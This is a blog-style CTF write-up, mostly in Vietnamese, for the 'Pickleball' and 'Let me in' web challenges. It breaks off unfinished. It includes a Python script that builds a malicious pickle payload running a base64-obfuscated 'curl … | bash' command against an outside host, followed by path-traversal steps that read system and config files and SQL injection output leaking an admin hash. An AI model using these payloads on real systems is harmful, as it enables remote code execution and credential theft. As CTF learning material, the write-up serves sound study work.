Here is my solution for  Pickleball and Letmein challenges. :< My team planned to join this ctf, but it seems everyone is busy. So sad. Btw thx authors for the great challenges

 ----------------------------------------------------------------------------------------------------------------------------

Pickleball: You can refer to the use of opcodes for bypassing, 

https://laxiisteam.blogspot.com/2023/09/kma-thi-sinh-vien-attt-cap-hoc-vien-he.html

or just run my script 
 
import base64
import pickle

payload = b"""(cos
system
S'echo Y3VybCBwamZ3MmxwNS5yZXF1ZXN0cmVwby5jb20=|base64 -d|bash'
o"""
ab = base64.b64encode(payload)
print(ab)


 Let me in: This black box challenge has 0 solves. I’ve never worked with Ruby on Rails before, so I encountered quite a few difficulties. Here’s how I approached it

 Giao diện nó đây, có 2 chức năng dễ thấy là signup và signin
Wappalyzer cho thấy backend có khả năng được viết bằng Ruby
Step1: Path travesal
View-source mình thấy một endpoint lạ với tham số img trông có vẻ khả nghi. Trông khá giống path traversal <(")
Ngoài ra còn một số cái controller mà mình chả biết gọi là gì nhưng mà mọi người thì chắc quen với nó rồi, cái này nó sẽ xử lý requests từ routes =)))
OK, bắt đầu. Trước tiên sẽ test nhưng payload cơ bản của LFI ../
Tuy nhiên nếu path.startwith('..') thì nó auto trả về 1.webp. 

Sửa một xíu để đọc ../../etc/passwd -> ./../../etc/passwd
Ờ, bắt đầu đọc /etc/hosts, /etc/passwd, /proc/self/environ nhưng thực sự nó không có gì hữu ích cả. Điểm lạ là cái /proc/self/environ trả về 1 đống loằng ngoằng nên mình sẽ tạm bỏ qua. Nhờ chatgpt liệt kê một số kiến trúc cũng như các tổ chức folder.

1. Monolithic Architecture (Kiến trúc nguyên khối)
Đây là cấu trúc thư mục tiêu chuẩn của một ứng dụng Ruby on Rails:
app/
  controllers/   # Chứa các controller xử lý logic điều hướng
  models/        # Chứa các model quản lý logic dữ liệu
  views/         # Chứa các file HTML được render (thường kèm ERB hoặc HAML)
  helpers/       # Chứa các module hỗ trợ cho views
  mailers/       # Chứa logic gửi email
  assets/        # Chứa tài nguyên tĩnh như CSS, JavaScript, hình ảnh

config/
  environments/  # Cấu hình cho môi trường (development, production, test)
  initializers/  # File khởi tạo các cài đặt hoặc gem
  locales/       # File dịch cho i18n
  routes.rb      # Định nghĩa các route

db/
  migrate/       # Chứa các file migration để quản lý schema database
  seeds.rb       # Dữ liệu mẫu để khởi tạo database

lib/
  tasks/         # Chứa các rake task
  modules/       # Module được tái sử dụng

log/             # Chứa file log của ứng dụng
public/          # Chứa các file tĩnh được phục vụ trực tiếp (favicon, error pages)
test/ hoặc spec/ # Thư mục cho test (RSpec, Minitest)

Gemfile           # Danh sách các gem phụ thuộc
Gemfile.lock      # Phiên bản cụ thể của các gem

Dựa vào đây mình sẽ đọc các routes của nó: ./../config/routes.rb
 Các endpoint có ở đây là: /up, /static, /getflag
Cũng nhờ chatgpt mà mình cũng tìm được vị trí các file cần thiết
Trong Rails, khi bạn định nghĩa một route, nó sẽ map đến một action trong controller
tương ứng. Dựa trên đoạn code bạn cung cấp, đây là cách tìm controller cho từng route:

1. pages/home:

Controller: PagesController
Action: home
File tương ứng: app/controllers/pages_controller.rb
2. up:

Controller: Rails::HealthController
Action: show
Đây là một controller tích hợp sẵn trong Rails, thường không cần tạo file mới.
3. static:

Controller: FileController
Action: download
File tương ứng: app/controllers/file_controller.rb
4. getflag:

Controller: GetflagController
Action: get
File tương ứng: app/controllers/getflag_controller.rb
5. Root path (root "pages#home"):

Controller: PagesController
Action: home
File tương ứng: app/controllers/pages_controller.rb


Đọc /static trước ./../app/controllers/file_controller.rb


Đọc /getflag:  ./../app/controllers/getflag_controller.rb
Đọc /pages/home:  ./../app/controllers/pages_controller.rb

Ờ thì đọc /readflag luôn -> lưu lại và import vô IDA
Ờ thì nó sẽ mở file flag lên đọc nhưng mà mình ko download được nên chắc là nó cấp quyền rồi :( suy ác luôn hmu hmu
Ờ thì quay lại mình cần login như admin để đọc flag -> vậy thì tìm username/password admin hoặc là thay đổi role trong session của mình, đại loại vậy

Để ý trong routes.rb nó có dòng này
devise_for :users

devise_for :users là một phương thức được cung cấp bởi Devise, một gem phổ biến trong Ruby on Rails dùng để quản lý xác thực và phiên làm việc của người dùng.

Khi bạn sử dụng devise_for :users trong tệp routes.rb, Devise sẽ tự động tạo ra các đường dẫn và controller cần thiết để xử lý các chức năng liên quan đến người dùng, như:

  • Đăng ký (sign up)
  • Đăng nhập (sign in)
  • Đăng xuất (sign out)
  • Quên mật khẩu (forgot password)
  • Reset mật khẩu
  • Xác thực email
  • Quản lý tài khoản người dùng
đọc: ./../../config/initializers/devise.rb 

--------------------

Step2: Directory bruteforce <(")

-> /data/debug

-> up.php

/data../ -> đọc được user information

/data../?order=desc -> SQL injection


'admin'

[19:11:56] [INFO] retrieved: 'ap@admin.com'

[19:11:56] [INFO] retrieved: '$2a$12$o9GJj.Jvj8WHbl36jsCKhunMZkAf2xrCi4myoHkcEsbIx.EQ3Jute'

[19:11:56] [INFO] retrieved: '3'

MAi làm tiếp, ngủ



Nhận xét

Bài đăng phổ biến từ blog này

CVE-2023–41425 but only RCE part